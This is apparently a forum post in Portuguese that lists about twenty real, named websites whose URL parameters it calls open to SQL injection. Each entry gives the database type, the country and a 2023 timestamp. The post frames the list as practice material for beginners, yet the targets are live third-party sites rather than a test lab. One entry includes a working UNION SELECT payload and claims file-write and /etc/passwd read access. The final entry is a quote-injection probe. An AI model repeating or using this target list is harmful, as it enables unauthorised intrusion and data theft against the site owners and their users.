Aqui está uma lista de sites vulneráveis ​​a ataques SQL Injection por meio de parâmetros $_GET . Muito simples de explorar. Estou postando isso principalmente como uma boa fonte para iniciantes praticarem ou para qualquer pessoa que queira testar uma ferramenta ou algo relacionado.

https://www.pharmatel.net/topic.php?id=5    MySQL    [--] Unknown    02/18/2023 03:56:19   
https://www.aceronline.net/product.php?cid=2    MySQL    [--] Unknown    02/18/2023 03:57:29   
http://ugceresources.in/view-lecture.php?cid=4    MySQL    [IN] India    02/18/2023 03:57:38   
https://www.technos.in/news-details.php?Id=8    MySQL    [IN] India    02/18/2023 03:58:27   
http://esjindex.org/search.php?id=    MySQL    [--] Unknown    02/18/2023 03:59:37   
http://www.altiusguns.com/product.php?product_id=2113    MySQL    [--] Unknown    02/18/2023 04:00:48   
http://www.ruhrhose.com/productlist.php?fid=2    MySQL    [--] Unknown    02/18/2023 04:00:59   
http://www.webloadmpstore.com/product.php?id=    MySQL    [--] Unknown    02/18/2023 04:01:03   
https://www.eltbase.com/get_quiz.php?id=2    MySQL    [--] Unknown    02/18/2023 04:01:36   
http://www.pumps-hv.com/news.php?id=218    MySQL    [--] Unknown    02/18/2023 04:02:39   
http://fujirock-eng.com/frf14/news.php?id=7    MySQL    [--] Unknown    02/18/2023 04:03:33   
http://www.abbaruna.com/news.php?id=    MySQL    [--] Unknown    02/18/2023 04:04:34   
http://www.ruhrhose.com/productshow.php?fid=66&id=8    MySQL    [--] Unknown    02/18/2023 04:05:43   
http://onstylesports.com/products.php?id=9    MySQL    [--] Unknown    02/18/2023 04:08:14   
https://lexingtonlandscapesupply.com/pr … tegory_id=    MySQL    [--] Unknown    02/18/2023 04:15:40   
http://www.pendragonpress.com/book.php?id=49    MySQL    [--] Unknown    02/18/2023 04:19:48   
http://ssy.org/main.php?id=    MySQL    [--] Unknown    02/18/2023 04:20:11   
https://worldwideeducation.co.in/view_detail.php?id=1    MySQL    [IN] India    02/18/2023 04:55:37   
http://a-plussoft.com/en/products.php?id=1    MySQL    [--] Unknown    02/18/2023 05:04:42   
https://hro.hkbu.edu.hk/content.php?pag … enu_id=210    MySQL    [HK] Hong Kong    02/18/2023 08:11:28   
https://www.17tour.com.tw/newsCat.php?cat=999999.9 union all select 1,2,3,4,5,6,7,8,[t],10--    MySQL Union    5.7.41    File Write  638123879728250821 Read  /etc/passwd : user_privileges    [TW] Taiwan, Province of China        02/19/2023 07:19:35   
https://constanta.cz/index.php?cat=30'